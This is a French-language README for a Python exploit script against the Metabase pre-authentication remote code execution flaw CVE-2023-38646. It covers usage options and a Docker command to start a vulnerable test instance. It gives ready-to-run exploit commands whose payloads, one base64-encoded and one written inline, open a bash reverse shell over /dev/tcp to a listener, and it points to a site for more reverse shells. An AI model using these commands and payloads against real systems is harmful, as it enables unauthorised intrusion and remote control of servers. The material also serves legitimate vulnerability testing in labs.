
Script Python pour exploiter la RCE pré-authentification Metabase CVE-2023-38646 via injection SQL
Script Python pour exploiter CVE-2023-38646 Metabase Pre-Auth RCE via injection SQL
Le script utilise GET /api/session/properties pour obtenir le token de configuration et évaluer l'exploitabilité de la cible. S'il est vulnérable, il affichera le token de configuration, sinon il quittera après un message d'erreur.
Si l'option -x est utilisée et que la cible est vulnérable, le script utilisera la charge utile fournie pour tenter d'exploiter la vulnérabilité.
Plus d'informations dans cet excellent article de l'équipe qui a découvert la vulnérabilité : https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
Usage: CVE-2023-38646.py [-h] [-x BASE64 PAYLOAD] url
Metabase Pre-Auth RCE Exploit
positional arguments:
url Url of the metabase instance
optional arguments:
-h, --help Show this help message and exit
-x BASE64_PAYLOAD Exploits the vulnerability
Si nécessaire, vous pouvez rapidement lancer un environnement de test dans un conteneur Docker en utilisant cette commande :
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
Après avoir visité http://127.0.0.1:3000/ pour terminer la configuration, et démarré un écouteur,
Vous pouvez exploiter la RCE avec quelque chose comme ceci :
python3 ./CVE-2023-38646.py -x c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNDQ0MyAwPiYx http://127.0.0.1:3000/
# If you prefer this and use bash (or anything but fish really)
# you should be able to command substitution to encode your payload directly inline like so
python3 ./CVE-2023-38646.py -x $(echo "sh -i >& /dev/tcp/127.0.0.1/4443 0>&1" | base64) http://127.0.0.1:3000/
ou récupérez simplement votre propre reverse shell encodé en base64 en visitant revshells.com